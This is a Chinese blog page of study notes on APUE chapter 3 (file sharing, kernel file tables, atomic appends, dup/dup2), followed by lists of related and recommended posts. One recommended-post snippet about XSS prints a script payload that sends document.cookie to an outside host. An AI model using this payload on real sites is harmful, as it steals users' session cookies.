【APUE】第3章 文件I/O (3) 文件共享、原子操作、函数dup/dup2、函数sync/fsync/fdatasync、函数fcntl、函数ioct1、目录/dev/fd 使用说明
1、文件共享
UNIX系统支持在不同的进程间共享打开文件。为了说明这种共享,以下介绍内核用于所有I/O的数据结构。
内核使用3种数据结构表示打开文件,它们之间的关系决定了在文件共享方面一个进程对另一个进程可能产生的影响。
(1)每个进程在进程表中都有一个记录项,记录项中包含一张打开文件描述符表,可将其视为一个矢量每个描述符占用一项。与每个文件描述符相关联的是:
- 文件描述符标志;
- 指向一个文件表项的指针。
(2)内核为所有打开文件维护一张文件表。每个文件表项包含:
- 文件状态标志(读、写、添加、同步和非阻塞等);
- 当前文件偏移量;
- 指向该文件v节点表项的指针。
(3)每个打开文件(或设备)都有一个v节点(v-node)结构。v节点包含了文件类型和对此文件进行各种操作函数的指针。对于大多数文件,v节点还包含了该文件的i节点(i-node,索引节点)。这些信息都是在打开文件时从磁盘上读入内存的,所以文件的所有相关信息都是随时可用的。例如i节点包含了文件的所有者、文件长度、指向文件实际数据块在磁盘上的位置等。(注意在linux中是没有v节点结构的但是存在i节点结构)
如图3-7 显示了一个进程对应的3张表之间的关系。该进程有两个不同的打开文件;一个文件从标准输入打开(文件描述符为0),另一个从标准输出打开(文件描述符为1)。

如果两个独立的进行各自打开了同一个文件,则有如图3-8所示的关系。

我们假定第一个进程在文件描述符3上打开该文件,而另一个进程在文件描述符4上打开该文件。打开该文件的每个进程都获得各自的一个文件表项,但是对于一个给定的文件只有一个v节点表项。之所以每个进程都获得自己的文件表项,是因为这可以是每个进程都有它自己的对该文件的偏移量。
给出了这些数据结构之后,现在对前面所述的操作做进一步说明:
(1)在完成每个write后,文件表项中的当前文件偏移量即增加所写入的字节数。如果这导致当前文件偏移量超出当前文件长度,则将i节点表项中的当前文件长度设置为当前文件偏移量(也就是该文件加长了)。
(2)如果使用O_APPEND标志打开一个文件,则相应标志也被设置到文件表项的文件状态标志中。每次对这种具有追加标志的文件进行写操作时,文件表项中的当前文件偏移量首先将会被设置为i节点表项中的当前文件长度。
(3)若一个用lseek定位到文件当前的末尾,则文件表项中的当前偏移量被设置为i节点表项中的当前文件长度。
(4)lseek函数只修改文件表项中的当前文件偏移量,不进行任何I/O操作。
可能有多个文件描述符指向同一文件表项,例如fork后,此时父子进程各自的每一个打开文件描述符共享一个文件表项。
上述介绍的一切对于多个进程读取一个文件都能正确工作。每个进程都有自己的文件表项,其中也有它自己的当前文件偏移量。但是当多个进程写同一个文件时,则可能产生预想不到的结果。为了说明如何避免这种情况,需要先理解原子操作的概念。
2、原子操作
考虑一个进程,它将数据追加到一个文件尾端。
假定有两个独立的进程A和B都对同一个文件进行追加写操作。每个进程都已经打开了该文件,但是未使用O_APPEND标志。此时各数据结构之间的关系如图3-8所示,每个进程都有它自己的文件表项,但是共享一个v节点表项。假定进程A调用lseek,它将进程A的该文件当前偏移量设置为1500字节(当前文件尾端处)。然后内核切换进程,进程B运行。进程B执行lseek,也将其对该文件的当前偏移量设置为1500字节(当前文件尾端处)。然后B调用write,它将B文件当前文件偏移量增加至1600.因为该文件长度已经增加了,所以内核将v节点中的当前文件长度更新为1600。然后内核又进行进程切换,使进程A恢复运行。当A调用write时,就从其当前文件偏移量(1500)处开始将数据写入文件。这样也就覆盖了之前进程B写入该文件的数据。
问题出现在逻辑操作“先定位到文件末尾,然后写”,它使用了两个分开的函数调用。解决的方法是使这两个操作对于其他进程而言称为一个原子操作。任何要求多于一个函数的调用操作都不是原子操作,因为在这两个函数调用之间,内核有可能临时挂起进程。
UNIX系统为这样的操作提供了一种原子操作,即在打开文件时设置O_APPEND标志。这样做使得内核每次在写之前,都将进程的当前偏移量设置到该文件的尾端,于是每次写之前就不需要调用lseek。(open函数中的O_APPEND选项实现了lseek函数的部分功能,功能实现了定位和写两个操作成为原子的)
3、函数dup/dup2
下面两个函数都可以复制一个现有的文件描述符。
#include<unistd.h>
int dup(int fd);
int dup2(int fd, int fd2);
返回值:
若成功;返回新的文件描述符。
若出错;返回-
由于函数dup返回的新文件描述符一定是当前可用文件描述符中的最小值。对于dup2,可以用fd2参数指定新文件描述符的值。如果fd2已经打开,则先将其关闭。如果fd等于fd2,则dup2返回fd2,而不关闭它。否则fd2的FD_CLOEXEC文件描述符标志就被清除。这样fd2在进程调用exec时是打开状态。
这些函数返回的新文件描述符与参数fd共享一个文件表项,如图3-9所示:

在此图中,我们假定进程启动时执行了:newfd = dup(1);
当此函数开始执行时,假定下一个可用的文件描述符是3。因为两个文件描述符指向同意以文件表项,所以他们共享同一个文件状态标志(读、写、追加等)以及同一当前文件偏移量。
每个文件描述符都有它自己的一套文件描述符标志。复制一个文件描述符的另一种方法是使用fcntl函数。实际上调用dup(fd)等效于fcntl(fd, F_DUPFD, 0)。而调用dup2(fd, fd2)等效于close(fd2); fcntl(fd, F_DUPFD, fd2);而后一种情况下,dup2并不完全等同于close加上fctl。它们之间的区别具体如下:
【APUE】第3章 文件I/O (3) 文件共享、原子操作、函数dup/dup2、函数sync/fsync/fdatasync、函数fcntl、函数ioct1、目录/dev/fd 使用说明的更多相关文章
- 第3章 文件I/O(4)_dup、dup2、fcntl和ioctl函数
5. 其它I/O系统调用 (1)dup和dup2函数 头文件 #include<unistd.h> 函数 int dup(int oldfd); int dup2(int oldfd, i ...
- APUE第4章 文件和目录
4.2 文件函数 #include <sys/stat.h> int stat(const char *restrict pathname, struct stat *restrict b ...
- apue 第4章 文件和目录
获取文件属性 #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> int stat(c ...
- 第七篇:使用 fcntl 函数 获取,设置文件的状态标志
前言 当打开一个文件的时候,我们需要指定打开文件的模式( 只读,只写等 ).那么在程序中如何获取,修改这个文件的状态标志呢? 本文将告诉你如何用 fcntl函数 获取指定文件的状态标志. 解决思路 1 ...
- UNIX环境编程学习笔记(5)——文件I/O之fcntl函数访问已打开文件的性质
lienhua342014-08-29 fcntl 函数可以改变已打开的文件的性质. #include <fcntl.h> int fcntl(int filedes, int cmd, ...
- apue学习笔记(第三章 文件I/O)
本章开始讨论UNIX系统,先说明可用的文件I/O函数---打开文件.读写文件等 UNIX系统中的大多数文件I/O只需用到5个函数:open.read.write.lseek以及close open函数 ...
- apue学习笔记(第四章 文件和目录)
本章将描述文件系统的其他特性和文件的性质. 函数stat.fstat.fstatat和lstat #include <sys/stat.h> int stat(const char *re ...
- 《UNIX环境高级编程》(APUE) 笔记第四章 - 文件和目录
4 - 文件和目录 1. 函数 stat.fstat.fstatat 和 lstat #inlcude <sys/stat.h> int stat(const char *restrict ...
- 《UNIX环境高级编程》(APUE) 笔记第三章 - 文件I/O
3 - 文件I/O Github 地址 1. 文件描述符 对于内核而言,所有打开的文件都通过 文件描述符 (file descriptor) 引用.当打开一个现有文件或创建一个新文件时,内核向进程返回 ...
随机推荐
- js面向对象的几种方式
对象的字面量 var obj={}:创建实例对象 var obj=new Object();构造函数模式 function fn(){}, new fn();工厂模式:用一个函数,通过传递参数返回对象 ...
- 0502 xss
playload <script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script&g ...
- webapi 之 post参数传递
最近在写webapi,在写post请求接口时遇到了不少的问题,在此记录下来. post请求的参数和get请求有点不一样,我们知道get请求的参数是通过url来传递的,而post请求则是通过http的请 ...
- 判断Actiivty是否已经被销毁
一般会遇到这样的情况:在一个Activity中启动一个异步任务,异步任务中需要返回值,然后被Activity使用,但是当异步任务还未结束时,按下home键,如果这个时候系统内存比较紧张,这个Activ ...
- 使用postman修改SAP Marketing Cloud contact主数据
Marketing Cloud里的contact主数据,创建成功后也不是所有字段都能够被修改.在Personal data区域的字段是可以被修改的. 比如我在"客户属性"字段里维护 ...
- impala 建表时报错,不支持中文
1.错误信息 (1366, "Incorrect string value: '\\xE6\\x8E\\x88\\xE6\\x9D\\x83...' for column 'search' ...
- 【转】Delphi货币类型转中文大写金额
unit TU2.Helper.Currency; interface ): string; ): string; implementation uses System.SysUtils, Syste ...
- Xshell连接阿里云服务被拒绝
问题描述:突然的Xshell连接阿里云服务被拒绝了(如图)网上众多的方案都不行例如:https://www.cnblogs.com/wanglle/p/11416987.html(参考博文,本人这个问 ...
- web开发:jquery初级
一.JQ入门 二.引入JQ 三.页面加载 四.分析JQ源码流程 五.JQ操作 六.c菜单栏案例 一.JQ入门 what is jQuery ???1.jQuery是对原生JavaScript二次封装的 ...
- CentOS7.x忘记root密码如何破解
在CentOS7.x中,有一个单用户模式.CentOS7.x进入单用户模式与CentOS6.x略有不同,要复杂一些. 如果我们忘记了root的密码,可以在单用户模式下重置密码. 注意:此操作必须在服务 ...